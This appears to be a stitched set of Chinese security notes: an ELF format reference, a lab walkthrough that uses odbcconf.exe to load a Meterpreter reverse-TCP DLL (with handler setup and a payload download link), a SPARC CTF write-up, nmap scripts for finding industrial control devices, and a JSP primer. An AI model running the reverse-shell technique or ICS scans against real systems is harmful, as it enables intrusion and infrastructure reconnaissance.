ELF32_Half e_type; ELF32_Half e_machine; ELF32_Word e_version; ELF32_Addr e_entry; ELF32_Off e_phoff; ELF32_Off e_shoff; ELF32_Word e_flags; ELF32_Half e_ehsize; ELF32_Half e_phentsize; ELF32_Half e_phnum; ELF32_Half e_shentsize; ELF32_Half e_shnum; ELF32_Half e_shstrndx; } Elf32_Ehdr; ``` 其中每个成员都是 e 开头的,它们应该都是 ELF 的缩写。每个成员具体的说明如下。 ### e_ident介绍 正如之前所说,ELF 提供了一个目标文件框架,以便于支持多种处理器,多种编码格式的机器。该变量给出了用于解码和解释文件中与机器无关的数据的方式。这个数组对于不同的下标的含义如下 | 宏名称 | 下标 | 目的 | | ---------- | ---- | -------------- | | EI_MAG0 | 0 | 文件标识 | | EI_MAG1 | 1 | 文件标识 | | EI_MAG2 | 2 | 文件标识 | | EI_MAG3 | 3 | 文件标识 | | EI_CLASS | 4 | 文件类 | | EI_DATA | 5 | 数据编码 | | EI_VERSION | 6 | 文件版本 | | EI_PAD | 7 | 补齐字节开始处 | 其中, `e_ident[EI_MAG0]` 到 `e_ident[EI_MAG3]`,即文件的头4个字节,被称作“魔数”,标识该文件是一个ELF目标文件。**至于开头为什么是0x7f,并没有仔细去查过**。 | 名称 | 值 | 位置 | | ------- | ---- | ---------------- | | ELFMAG0 | 0x7f | e_ident[EI_MAG0] | | ELFMAG1 | ‘E’ | e_ident[EI_MAG1] | | ELFMAG2 | ‘L’ | e_ident[EI_MAG2] | | ELFMAG3 | ‘F’ | e_ident[EI_MAG3] | `e_ident[EI_CLASS]` 为 `e_ident[EI_MAG3]`的下一个字节,标识文件的类型或容量。 | 名称 | 值 | 意义 | | ------------ | ---- | ----- | | ELFCLASSNONE | 0 | 无效类型 | | ELFCLASS32 | 1 | 32位文件 | | ELFCLASS64 | 2 | 64位文件 | ELF 文件的设计使得它可以在多种字节长度的机器之间移植,而不需要强制规定机器的最长字节长度和最短字节长度。`ELFCLASS32`类型支持文件大小和虚拟地址空间上限为 4GB 的机器;它使用上述定义中的基本类型。 `ELFCLASS64` 类型用于 64 位架构。 `e_ident[EI_DATA]`字节给出了目标文件中的特定处理器数据的编码方式。下面是目前已定义的编码: | 名称 | 值 | 意义 | | ----------- | ---- | ------ | | ELFDATANONE | 0 | 无效数据编码 | | ELFDATA2LSB | 1 | 小端 | | ELFDATA2MSB | 2 | 大端 | 其它值被保留,在未来必要时将被赋予新的编码。 文件数据编码方式表明了文件内容的解析方式。正如之前所述,`ELFCLASS32`类型文件使用了具有1,2 和 4 字节的变量类型。对于已定义的不同的编码方式,其表示如下所示,其中字节号在左上角。 `ELFDATA2LSB`编码使用补码,最低有效位(Least Significant Byte)占用最低地址。 `ELFDATA2MSB`编码使用补码,最高有效位(Most Significant Byte)占用最低地址。 `e_ident[EI_DATA]` 给出了 ELF 头的版本号。目前这个值必须是`EV_CURRENT`,即之前已经给出的`e_version`。 `e_ident[EI_PAD]` 给出了 `e_ident` 中未使用字节的开始地址。这些字节被保留并置为0;处理目标文件的程序应该忽略它们。如果之后这些字节被使用,EI_PAD的值就会改变。 ### e_type介绍 `e_type` 标识目标文件类型。 | 名称 | 值 | 意义 | | --------- | ------ | -------------- | | ET_NONE | 0 | 无文件类型 | | ET_REL | 1 | 可重定位文件 | | ET_EXEC | 2 | 可执行文件 | | ET_DYN | 3 | 共享目标文件 | | ET_CORE | 4 | 核心转储文件 | | ET_LOPROC | 0xff00 | 处理器指定下限 | | ET_HIPROC | 0xffff | 处理器指定上限 | 虽然核心转储文件的内容没有被详细说明,但 `ET_CORE` 还是被保留用于标志此类文件。从 `ET_LOPROC` 到 `ET_HIPROC` (包括边界)被保留用于处理器指定的场景。其它值在未来必要时可被赋予新的目标文件类型。 ### e_machine介绍 这一项指定了当前文件可以运行的机器架构。 | 名称 | 值 | 意义 | | -------- | ---- | -------------- | | EM_NONE | 0 | 无机器类型 | | EM_M32 | 1 | AT&T WE 32100 | | EM_SPARC | 2 | SPARC | | EM_386 | 3 | Intel 80386 | | EM_68K | 4 | Motorola 68000 | | EM_88K | 5 | Motorola 88000 | | EM_860 | 7 | Intel 80860 | | EM_MIPS | 8 | MIPS RS3000 | 其中 EM 应该是 `ELF Machine` 的简写。 其它值被在未来必要时用于新的机器。 此外,特定处理器的ELF名称使用机器名称来进行区分,一般标志会有个前缀`EF_` (ELF Flag)。例如,在`EM_XYZ`机器上名叫 `WIDGET` 的标志将被称为 `EF_XYZ_WIDGET`。 ### e_version介绍 标识目标文件的版本。 | 名称 | 值 | 意义 | | ---------- | ---- | ---- | | EV_NONE | 0 | 无效版本 | | EV_CURRENT | 1 | 当前版本 | 1 表示初始文件格式;未来扩展新的版本的时候(extensions)将使用更大的数字。虽然在上面值`EV_CURRENT`为1,但是为了反映当前版本号,它可能会改变,**比如ELF到现在也就是1.2版本。** ### e_entry介绍 这一项为系统转交控制权给 ELF 中相应代码的虚拟地址。如果没有相关的入口项,则这一项为0。 ### e_phoff介绍 这一项给出**程序头部表**在文件中的字节偏移(**Program Header table OFFset**)。如果文件中没有程序头部表,则为0。 ### e_shoff介绍 这一项给出**节头表**在文件中的字节偏移( **Section Header table OFFset** )。如果文件中没有节头表,则为0。 ### e_flags介绍 这一项给出文件中与特定处理器相关的标志,这些标志命名格式为`EF_machine_flag`。 ### e_ehsize介绍 这一项给出 ELF 文件头部的字节长度(ELF Header Size)。 ### e_phentsize介绍 这一项给出程序头部表中每个表项的字节长度(**Program Header ENTry SIZE**)。每个表项的大小相同。 ### e_phnum介绍 这一项给出程序头部表的项数( **Program Header entry NUMber** )。因此,`e_phnum` 与 `e_phentsize` 的乘积即为程序头部表的字节长度。如果文件中没有程序头部表,则该项值为0。 ### e_shentsize介绍 这一项给出节头的字节长度(**Section Header ENTry SIZE**)。一个节头是节头表中的一项;节头表中所有项占据的空间大小相同。 ### e_shnum介绍 这一项给出节头表中的项数(**Section Header NUMber**)。因此, `e_shnum` 与 `e_shentsize` 的乘积即为节头表的字节长度。如果文件中没有节头表,则该项值为0。 ### e_shstrndx介绍 这一项给出节头表中与节名字符串表相关的表项的索引值(**Section Header table InDeX related with section name STRing table**)。如果文件中没有节名字符串表,则该项值为`SHN_UNDEF`。关于细节的介绍,请参考后面的“节”和“字符串表”部分。 ### Program Header Table概述 Program Header Table 是一个结构体数组,每一个元素的类型是 `Elf32_Phdr`,描述了一个段或者其它系统在准备程序执行时所需要的信息。其中,ELF 头中的 `e_phentsize` 和 `e_phnum` 指定了该数组每个元素的大小以及元素个数。一个目标文件的段包含一个或者多个节。**程序的头部只有对于可执行文件和共享目标文件有意义。** 可以说,Program Header Table 就是专门为 ELF 文件运行时中的段所准备的。 `Elf32_Phdr` 的数据结构如下 ```c++ typedef struct { ELF32_Word p_type; ELF32_Off p_offset; ELF32_Addr p_vaddr; ELF32_Addr p_paddr; ELF32_Word p_filesz; ELF32_Word p_memsz; ELF32_Word p_flags; ELF32_Word p_align; } Elf32_Phdr; ``` 每个字段的说明如下 | 字段 | 说明 | | -------- | ------------------------------------------------------------ | | p_type | 该字段为段的类型,或者表明了该结构的相关信息。 | | p_offset | 该字段给出了从文件开始到该段开头的第一个字节的偏移。 | | p_vaddr | 该字段给出了该段第一个字节在内存中的虚拟地址。 | | p_paddr | 该字段仅用于物理地址寻址相关的系统中, 由于“System V”忽略了应用程序的物理寻址,可执行文件和共享目标文件的该项内容并未被限定。 | | p_filesz | 该字段给出了文件镜像中该段的大小,可能为0。 | | p_memsz | 该字段给出了内存镜像中该段的大小,可能为0。 | | p_flags | 该字段给出了与段相关的标记。 | | p_align | 可加载的程序的段的 p_vaddr 以及 p_offset 的大小必须是 page 的整数倍。该成员给出了段在文件以及内存中的对齐方式。如果该值为 0 或 1 的话,表示不需要对齐。除此之外,p_align 应该是 2 的整数指数次方,并且 p_vaddr 与 p_offset 在模 p_align 的意义下,应该相等。 | ### Program Header Table段类型 可执行文件中的段类型如下 | 名字 | 取值 | 说明 | | ------------------- | ----------------------- | ------------------------------------------------------------ | | PT_NULL | 0 | 表明段未使用,其结构中其他成员都是未定义的。 | | PT_LOAD | 1 | 此类型段为一个可加载的段,大小由 p_filesz 和 p_memsz 描述。文件中的字节被映射到相应内存段开始处。如果 p_memsz 大于 p_filesz,“剩余”的字节都要被置为0。p_filesz 不能大于 p_memsz。可加载的段在程序头部中按照 p_vaddr 的升序排列。 | | PT_DYNAMIC | 2 | 此类型段给出动态链接信息。 | | PT_INTERP | 3 | 此类型段给出了一个以 NULL 结尾的字符串的位置和长度,该字符串将被当作解释器调用。这种段类型仅对可执行文件有意义(也可能出现在共享目标文件中)。此外,这种段在一个文件中最多出现一次。而且这种类型的段存在的话,它必须在所有可加载段项的前面。 | | PT_NOTE | 4 | 此类型段给出附加信息的位置和大小。 | | PT_SHLIB | 5 | 该段类型被保留,不过语义未指定。而且,包含这种类型的段的程序不符合ABI标准。 | | PT_PHDR | 6 | 该段类型的数组元素如果存在的话,则给出了程序头部表自身的大小和位置,既包括在文件中也包括在内存中的信息。此类型的段在文件中最多出现一次。**此外,只有程序头部表是程序的内存映像的一部分时,它才会出现**。如果此类型段存在,则必须在所有可加载段项目的前面。 | | PT_LOPROC~PT_HIPROC | 0x70000000 ~0x7fffffff | 此范围的类型保留给处理器专用语义。 | ### Program Header Table基地址-Base Address 程序头部的虚拟地址可能并不是程序内存镜像中实际的虚拟地址。通常来说,可执行程序都会包含绝对地址的代码。为了使得程序可以正常执行,段必须在相应的虚拟地址处。另一方面,共享目标文件通常来说包含与地址无关的代码。这可以使得共享目标文件可以被多个进程加载,同时保持程序执行的正确性。尽管系统会为不同的进程选择不同的虚拟地址,但是它仍然保留段的相对地址,**因为地址无关代码使用段之间的相对地址来进行寻址,内存中的虚拟地址之间的差必须与文件中的虚拟地址之间的差相匹配**。内存中任何段的虚拟地址与文件中对应的虚拟地址之间的差值对于任何一个可执行文件或共享对象来说是一个单一常量值。这个差值就是基地址,基地址的一个用途就是在动态链接期间重新定位程序。 可执行文件或者共享目标文件的基地址是在执行过程中由以下三个数值计算的 - 虚拟内存加载地址 - 最大页面大小 - 程序可加载段的最低虚拟地址 要计算基地址,首先要确定可加载段中 p_vaddr 最小的内存虚拟地址,之后把该内存虚拟地址缩小为与之最近的最大页面的整数倍即是基地址。根据要加载到内存中的文件的类型,内存地址可能与 p_vaddr 相同也可能不同。 ### Program Header Table段权限-p_flags 被系统加载到内存中的程序至少有一个可加载的段。当系统为可加载的段创建内存镜像时,它会按照 p_flags 将段设置为对应的权限。 其中,所有在 PF_MASKPROC 中的比特位都是被保留用于与处理器相关的语义信息。 如果一个权限位被设置为 0,这种类型的段是不可访问的。实际的内存权限取决于相应的内存管理单元,不同的系统可能操作方式不一样。尽管所有的权限组合都是可以的,但是系统一般会授予比请求更多的权限。在任何情况下,除非明确说明,一个段不会有写权限。 例如,一般来说,.text 段一般具有读和执行权限,但是不会有写权限。数据段一般具有写,读,以及执行权限。 ### Program Header Table段内容 一个段可能包括一到多个节区,但是这并不会影响程序的加载。尽管如此,我们也必须需要各种各样的数据来使得程序可以执行以及动态链接等等。下面会给出一般情况下的段的内容。对于不同的段来说,它的节的顺序以及所包含的节的个数有所不同。此外,与处理相关的约束可能会改变对应的段的结构。 数据段包含可写的数据以及以及指令 程序头部的 PT_DYNAMIC 类型的元素指向 .dynamic 节。其中,got 表和 plt 表包含与地址无关的代码相关信息。尽管在这里给出的例子中,plt 节出现在代码段,但是对于不同的处理器来说,可能会有所变动。 .bss 节的类型为 SHT_NOBITS,这表明它在 ELF 文件中不占用空间,但是它却占用可执行文件的内存镜像的空间。通常情况下,没有被初始化的数据在段的尾部,因此,`p_memsz` 才会比 `p_filesz` 大。 注意: - 不同的段可能会有所重合,即不同的段包含相同的节。 ### Section Header Table概述 其实这个数据结构是在 ELF 文件的尾部( **为什么要放在文件尾部呢??** ),但是为了讲解方便,这里将这个表放在这里进行讲解。 该结构用于定位 ELF 文件中的每个节区的具体位置。 首先,ELF头中的 `e_shoff` 项给出了从文件开头到节头表位置的字节偏移。`e_shnum` 告诉了我们节头表包含的项数;`e_shentsize` 给出了每一项的字节大小。 其次,节头表是一个数组,每个数组的元素的类型是 `ELF32_Shdr` ,每一个元素都描述了一个节区的概要内容。 ### Section Header Table ELF32_Shdr 每个节区头部可以用下面的数据结构进行描述: ```c typedef struct { ELF32_Word sh_name; ELF32_Word sh_type; ELF32_Word sh_flags; ELF32_Addr sh_addr; ELF32_Off sh_offset; ELF32_Word sh_size; ELF32_Word sh_link; ELF32_Word sh_info; ELF32_Word sh_addralign; ELF32_Word sh_entsize; } Elf32_Shdr; ``` 每个字段的含义如下 | 成员 | 说明 | | :----------- | ------------------------------------------------------------ | | sh_name | 节名称,是节区头字符串表节区中(Section Header String Table Section)的索引,因此该字段实际是一个数值。在字符串表中的具体内容是以 NULL 结尾的字符串。 | | sh_type | 根据节的内容和语义进行分类,具体的类型下面会介绍。 | | sh_flags | 每一比特代表不同的标志,描述节是否可写,可执行,需要分配内存等属性。 | | sh_addr | 如果节区将出现在进程的内存映像中,此成员给出节区的第一个字节应该在进程镜像中的位置。否则,此字段为 0。 | | sh_offset | 给出节区的第一个字节与文件开始处之间的偏移。SHT_NOBITS 类型的节区不占用文件的空间,因此其 sh_offset 成员给出的是概念性的偏移。 | | sh_size | 此成员给出节区的字节大小。除非节区的类型是 SHT_NOBITS ,否则该节占用文件中的 sh_size 字节。类型为SHT_NOBITS 的节区长度可能非零,不过却不占用文件中的空间。 | | sh_link | 此成员给出节区头部表索引链接,其具体的解释依赖于节区类型。 | | sh_info | 此成员给出附加信息,其解释依赖于节区类型。 | | sh_addralign | 某些节区的地址需要对齐。例如,如果一个节区有一个 doubleword 类型的变量,那么系统必须保证整个节区按双字对齐。也就是说,$sh\_addr \% sh\_addralign$=0。目前它仅允许为 0,以及 2 的正整数幂数。 0 和 1 表示没有对齐约束。 | | sh_entsize | 某些节区中存在具有固定大小的表项的表,如符号表。对于这类节区,该成员给出每个表项的字节大小。反之,此成员取值为0。 | 正如之前所说,索引为零(SHN_UNDEF)的节区头也存在,此索引标记的是未定义的节区引用。这一项的信息如下 | 字段名称 | 取值 | 说明 | | ------------ | --------- | ----- | | sh_name | 0 | 无名称 | | sh_type | SHT_NULL | 限制 | | sh_flags | 0 | 无标志 | | sh_addr | 0 | 无地址 | | sh_offset | 0 | 无文件偏移 | | sh_size | 0 | 无大小 | | sh_link | SHN_UNDEF | 无链接信息 | | sh_info | 0 | 无辅助信息 | | sh_addralign | 0 | 无对齐要求 | | sh_entsize | 0 | 无表项 | ### Section Header Table特殊下标 节头表中比较特殊的几个下标如下 | 名称 | 值 | 含义 | | ------------- | ------ | ---------------------------------------- | | SHN_UNDEF | 0 | 标志未定义的,丢失的,不相关的或者其它没有意义的节引用。例如,与节号SHN_UNDEF相关的“定义”的符号就是一个未定义符号。**注:虽然0号索引被保留用于未定义值,节头表仍然包含索引0的项。也就是说,如果ELF头的e_shnum为6,那么索引应该为0~5。更加详细的内容在后面会说明。** | | SHN_LORESERVE | 0xff00 | 保留索引值范围的下界。 | | SHN_LOPROC | 0xff00 | 处理器相关的下界 | | SHN_HIPROC | 0xff1f | 处理器相关的上界 | | SHN_ABS | 0xfff1 | 相关引用的绝对值。例如与节号SHN_ABS相关的符号拥有绝对值,它们不受重定位的影响 | | SHN_COMMON | 0xfff2 | 这一节区相定义的符号是通用符号,例如FORTRAN COMMON,C语言中未分配的外部变量。 | | SHN_HIRESERVE | 0xffff | 保留索引值范围的上界。 | **系统保留在`SHN_LORESERVE`到`SHN_HIRESERVE`之间(包含边界)的索引值,这些值不在节头表中引用。也就是说,节头表不包含保留索引项。没特别理解。** ### Section Header Table部分节头字段 #### sh_type 节类型目前有下列可选范围,其中 SHT 是**Section Header Table** 的简写。 | 名称 | 取值 | 说明 | | ------------ | ---------- | ---------------------------------------- | | SHT_NULL | 0 | 该类型节区是非活动的,这种类型的节头中的其它成员取值无意义。 | | SHT_PROGBITS | 1 | 该类型节区包含程序定义的信息,它的格式和含义都由程序来决定。 | | SHT_SYMTAB | 2 | 该类型节区包含一个符号表(**SYMbol TABle**)。目前目标文件对每种类型的节区都只 能包含一个,不过这个限制将来可能发生变化。 一般,SHT_SYMTAB 节区提供用于链接编辑(指 ld 而言) 的符号,尽管也可用来实现动态链接。 | | SHT_STRTAB | 3 | 该类型节区包含字符串表( **STRing TABle** )。 | | SHT_RELA | 4 | 该类型节区包含显式指定位数的重定位项( **RELocation entry with Addends** ),例如,32 位目标文件中的 Elf32_Rela 类型。此外,目标文件可能拥有多个重定位节区。 | | SHT_HASH | 5 | 该类型节区包含符号哈希表( **HASH table** )。 | | SHT_DYNAMIC | 6 | 该类型节区包含动态链接的信息( **DYNAMIC linking** )。 | | SHT_NOTE | 7 | 该类型节区包含以某种方式标记文件的信息(**NOTE**)。 | | SHT_NOBITS | 8 | 该类型节区不占用文件的空间,其它方面和SHT_PROGBITS相似。尽管该类型节区不包含任何字节,其对应的节头成员sh_offset 中还是会包含概念性的文件偏移。 | | SHT_REL | 9 | 该类型节区包含重定位表项(**RELocation entry without Addends**),不过并没有指定位数。例如,32位目标文件中的 Elf32_rel 类型。目标文件中可以拥有多个重定位节区。 | | SHT_SHLIB | 10 | 该类型此节区被保留,不过其语义尚未被定义。 | | SHT_DYNSYM | 11 | 作为一个完整的符号表,它可能包含很多对动态链接而言不必 要的符号。因此,目标文件也可以包含一个 SHT_DYNSYM 节区,其中保存动态链接符号的一个最小集合,以节省空间。 | | SHT_LOPROC | 0X70000000 | 此值指定保留给处理器专用语义的下界( **LOw PROCessor-specific semantics** )。 | | SHT_HIPROC | OX7FFFFFFF | 此值指定保留给处理器专用语义的上界( **HIgh PROCessor-specific semantics** )。 | | SHT_LOUSER | 0X80000000 | 此值指定保留给应用程序的索引下界。 | | SHT_HIUSER | 0X8FFFFFFF | 此值指定保留给应用程序的索引上界。 | #### sh_flags 节头中 `sh_flags` 字段的每一个比特位都可以给出其相应的标记信息,其定义了对应的节区的内容是否可以被修改、被执行等信息。如果一个标志位被设置,则该位取值为1,未定义的位都为0。目前已定义值如下,其他值保留。 | 名称 | 值 | 说明 | | ------------- | ---------- | ---------------------------------------- | | SHF_WRITE | 0x1 | 这种节包含了进程运行过程中可以被写的数据。 | | SHF_ALLOC | 0x2 | 这种节在进程运行时占用内存。对于不占用目标文件的内存镜像空间的某些控制节,该属性处于关闭状态(off)。 | | SHF_EXECINSTR | 0x4 | 这种节包含可执行的机器指令(**EXECutable INSTRuction**)。 | | SHF_MASKPROC | 0xf0000000 | 所有在这个掩码中的比特位用于特定处理器语义。 | #### sh_link & sh_info 当节区类型的不同的时候,sh_link 和 sh_info 也会具有不同的含义。 | sh_type | sh_link | sh_info | | --------------------- | ------------------------------------------------------------ | -------------------------- | | SHT_DYNAMIC | 节区中使用的字符串表的节头索引 | 0 | | SHT_HASH | 此哈希表所使用的符号表的节头索引 | 0 | | SHT_REL/SHT_RELA | 与符号表相关的节头索引 | 重定位应用到的节的节头索引 | | SHT_SYMTAB/SHT_DYNSYM | 操作系统特定信息,Linux 中的 ELF 文件中该项指向符号表中符号所对应的字符串节区在 Section Header Table 中的偏移。 | 操作系统特定信息 | | other | `SHN_UNDEF` | 0 |
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 ### Odbcconf简介: ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据源。 微软官方文档: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 说明:Odbcconf.exe所在路径已被系统添加PATH环境变量中,因此,Odbcconf命令可识别,需注意x86,x64位的Odbcconf调用。 Windows 2003 默认位置: ```bash C:\WINDOWS\system32\odbcconf.exe C:\WINDOWS\SysWOW64\odbcconf.exe` Windows 7 默认位置: `C:\Windows\System32\odbcconf.exe C:\Windows\SysWOW64\odbcconf.exe ``` **攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.119 Windows 2003 192.168.1.5 Windows 7 ### 配置攻击机msf: **注:x86 payload** ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 ``` ![](media/ba0e4d6c7b05eef6b8bcd5a730fb0c0b.jpg) ### 靶机执行:Windows 2003 **注:**文中为了更好的跨Windows 03--Windows 2016,Odbcconf for dll采纯C重新编写。 ![](media/df24184d409a2c0d09bbd18c511bc231.jpg) ```bash C:\Windows\SysWOW64\odbcconf.exe /a {regsvr C:\Micropoor_Odbcconf.dll} ``` **注:x64** Odbcconf.exe ![](media/74bf5a42540b5298cffc72cfa8987743.jpg) ![](media/c8a788e729ff4969f70affe596b8f3a5.jpg) ### 附: Micropoor_Odbcconf.dll,已测Windows 2003 x64 Windows 7 x64 **注:** 功能:reverse_tcp IP:192.168.1.4 PORT:53。如有安全软件拦截,因Micropoor加入特征。 > 大小: 73216 字节 > 修改时间: 2019年1月19日, 21:29:11 > MD5: B31B971F01DE32EC5EC45746BF3DDAD2 > SHA1: CF42E4BF5A613992B7A563A522BBEBF1D0F06CCE CRC32: 28A1CE90 https://drive.google.com/open?id=1j12W7VOhv_-NdnZpFhWLwdt8sQwxdAsk > Micropoor
sec-knowleage
# OldPC (misc, 478 points, 14 solves) In the task we get [machine code dump](oldpc.hex). A bit of googling for byte sequencec got us to http://www.xgc-tek.com/manuals/erc32-ada-gs/x286.html where we could see assembly listing with similar machine code to what we had (at least the stack frame creation and ret/leave). Now we just had to check what is this ERC32 and/or what assembly was in the listing. In th end the main difficulty of this challenge was noticing that the given binary file contained sparc assembly. After getting through that difficulty all we need to do is load the file in a disassembler and select `sparc big endian`: ![scr1.png](scr1.png) ![scr2.png](scr2.png) The code may seem simple and well, it is. All it does is xors a bunch of values and prints them out. A quick script gave us back a flag in no time: ``` python import struct import sys a = [ (0x837F716D, -0x51BDD5C2), (0x6B676561, 0x1E170013), (0x59534F49, 0x606233D), (0x47433D3B, 0x35226276), (0x352F2B29, 0x6481F76), (0x251F1D17, 0x655F4E47), (0x13110D0B, 0x52434E4B), (0x07050302, 0x47583e2f), ] for i in a: a = struct.pack(">q", i[0])[4:] b = struct.pack(">q", i[1])[4:] for aa, bb in zip(a, b): sys.stdout.write(chr(ord(aa) ^ ord(bb))) print ``` `-=[Super_Ultra_M3g4_@@SPARC@@]=-`
sec-knowleage
# ICS_CTF 发现 > 本栏目内容,ICS CTF竞赛内容来自于作者自身打比赛经验,如果不对之处,请各位老师批评指正 ## 工控设备发现 工控设备发现是工控比赛的前提,目前针对工控设备扫描中,在Nmap、Metasploit、Censes集成了大量的工具,用于挖掘当前在线PLC、DCS等ICS设备。 ## 工控扫描脚本 ### 基于工控端口的信息扫描脚本 在大量IP中如何发现工控设备,除了工控特殊端口意外,大量端口都是正常服务,例如ftp、ssh、telnet、smtp、ntp等正常网络服务。下面列表列举了当前可以利用开源工控扫描脚本。 |端口|协议/设备|来源| |:-----|:------|:------| |102(TCP)|siemens s7|nmap --script s7-info.nse -p 102 [host] <br>nmap -sP --script s71200-enumerate-old.nse -p 102 [host]| |502(TCP)|modbus|nmap --script modicon-info -p 502 [host]| |2404(TCP)|IEC 60870-5-104|nmap -Pn -n -d --script iec-identify.nse --script-args='iec-identify.timeout=500' -p 2404 [host]| |20000(TCP)|DNP3|nmap -sT --script dnp3-enumerate.nse -p 20000 [host] <br>nmap --script dnp3-info -p 20000 [host]| |44818(TCP)|Ethernet/IP|nmap --script enip-enumerate -sU -p 44818 [host]| |47808(UDP)|BACnet|nmap --script BACnet-discover-enumerate.nse -sU -p 47808 [host]| |1911(TCP)|Tridium Nixagara Fo|nmap --script fox-info.nse -p 1911 [host]| |789(TCP)|Crimson V3|nmap --scripts cr3-fingerprint.nse -p 789 [host]| |9600(TCP)|OMRON FINS|nmap --script ormontcp-info -p 9600 [host]| |1962 (TCP)|PCWorx|nmap --script pcworx-info -p 1962 [host]| |20547(TCP)|ProConOs|nmap --script proconos-info -p 20547 [host]| |5007(TCP)|Melsec-Q|nmap -script melsecq-discover -sT -p 5007 [host]| |5006|Melsec-Q|nmap -script melsecq-discover-udp.nse -sU -p 5006 [host]| |956(TCP)|CSPV4|Unknown| |4840(TCP)|OPCUA|Unknown| |18245(TCP)|GE SRTP|Unknown| |1200(TCP)|Codesys|nmap –script codesys-v2-discover.nse [host]| |10001|atg|nmap --script atg-info -p 10001 [host]| |2222|cspv4|nmap --script cspv4-info -p 2222 [host]| |1911|fox|nmap --script fox-info.nse -p 1911 [host]| |4800|moxa|nmap -sU --script moxa-enum -p 4800 [host]| |137|siemens wincc|sudo nmap -sU --script Siemens-WINCC.nse -p137 [host]| |445|stuxnet|nmap --script stuxnet-detect -p 445 [host]| 上述脚本并未完全整列了当前能够使用脚本信息,未完待续中...... ### 基于工控组态软件的组件扫描方法 各工控厂商往往自带组态软件,组态软件时连接当前内网内设备时可自主发现目标PLC设备 |端口|协议/设备|连接方法| |:-----|:------|:------| |102(TCP)|siemens s7|西门子软件Step7 自带扫描当前网段PLC设备功能| |502(TCP)|modbus|施耐德SoMachine Basic 连接PLC设备自带扫描内网网段功能| ## 工控扫描与发现引擎 ### Shodan 引擎 *Shodan是一款网络空间搜索引擎,主要搜索的是存在于互联网中的设备,服务器、摄像头、工控设备、智能家居等,并且可以识别出其版本,位置,端口,服务等信息。Shodan于2013年增加了针对工控协议的探测,用户可以直接使用工控协议的端口直接检索该协议的所有数据,用户也可以使用特征Dork直接搜索对应设备数据。* ### Zoomeye 引擎 *ZoomEye是知道创宇打造的面向网络空间的搜索引擎,ZoomEye于2015年3月上线了工控专题(ics.zoomeye.org),ZoomEye支持12种工控协议的数据检索,使用者也可以使用工控协议的端口和特征Dork关键字发现暴露在互联网的工控软硬件,对于工控协议类型的数据,ZoomEye启用了保护策略,一般用户无法直接查看。* ### FOFA 引擎 *FOFA是白帽汇推出的一款网络空间资产搜索引擎。它能够帮助用户迅速进行网络资产匹配、加快后续工作进程。例如进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等* ### Diting 全网引擎 *谛听(ditecting)网络空间工控设备搜索引擎,取谛听辨识万物之意,意在搜寻暴露在互联网上的工业控制系统联网设备, 帮助安全厂家维护工控系统安全、循迹恶意企图人士。* ### Censys 全网引擎 *Censys是一款搜索引擎,它允许计算机科学家了解组成互联网的设备和网络。Censys由因特网范围扫描驱动,它使得研究人员能够找到特定的主机,并能够针将设备、网站和证书的配置和部署信息创建到一个总体报告中。* 各类漏洞引擎内容不同,采取配置、部署节点等存在较大的差异,目前针对工控这块的搜索引擎以shodan和ditecting更为专业,但是从针对端口来看,各个引擎宣称的公布检索方式不尽相同。 ### 各搜索引擎对比 未完待续.....
sec-knowleage
# jsp --- ## 什么是 JavaServer Pages? JavaServer Pages(JSP) 是一种技术,能够开发支持动态内容的网页,可以帮助开发人员在 HTML 页面中利用特殊的 JSP 标签插入 Java 代码,其中大部分标签是以 `<%` 开始,以 `%>` 结束的。 JavaServer Pages 组件是 Java Servlet 的一种,旨在为 Java web 应用程序实现一个用户界面。Web 开发人员编写 JSP 作为文本文件,结合 HTML 或 XHTML 代码,XML 元素,并嵌入 JSP 操作和命令。 使用 JSP,你可以通过 web 页面的形式收集来自用户的输入,来自数据库或其他资源的当前记录并动态地创建 web 页面。 JSP 标签可用于各种用途,如从数据库检索信息或注册用户首选项,访问 javabean 组件,在页面之间传递控制,在请求、页面之间共享信息等。 --- ## 为什么使用 JSP? JavaServer Pages 的服务通常与通用网关接口(CGI)实现程序一样。但 JSP 与 CGI 相比,有几个优势。 性能更好,因为 JSP 允许在 HTML 页面本身嵌入动态元素而不需要创建一个单独的 CGI 文件。 JSP 总是在服务器处理之前进行编译,不像 CGI/Perl,每次请求页面时都需要服务器加载一个解释器和目标脚本。 JavaServer Pages 是建立在 Java servlet API 之上的,就像 servlet,JSP 也可以访问所有强大的 Enterprise Java API,包括 JDBC,JNDI,EJB,JAXP 等等。 JSP 页面可以与 servlet 结合使用,来处理业务逻辑,该模型是由 Java servlet 模板引擎支持的。 最后,JSP 还是 Java EE 不可分割的一部分,是 enterprise 级别应用程序的一个完整平台。这意味着 JSP 可以用于从最简单的应用程序到最复杂的应用程序中,并实现要求。 --- ## JSP 的优点 下列是 JSP 优于其他技术的另外的优点: * 与 Active Server Pages(ASP) 相比: JSP 的优点是双重的。首先,动态的部分是用 Java 编写的,而不是用 Visual Basic 或其他特定的语言编写,所以它使用起来更强大并且更容易。第二,它可以移植到其他操作系统和非 microsoft 的 Web 服务器中。 * 与 Pure Servlets 相比: 与用大量的 println 语句生成 HTML 相比,JSP 能够更方便的写 (和修改!) 常规的 HTML。 * 与 Server-Side Includes(SSI)相比: SSI 只是用于简单的包含物,而不是用于使用表单数据、创建数据库链接等的 “真正的” 程序。 * 与 JavaScript 相比: JavaScript 可以在客户端动态地生成 HTML,但很难与 web 服务器交互来执行复杂的任务,如数据库访问、图像处理等。 与 Static HTML 相比: 当然,常规的 HTML 不能包含动态的信息。 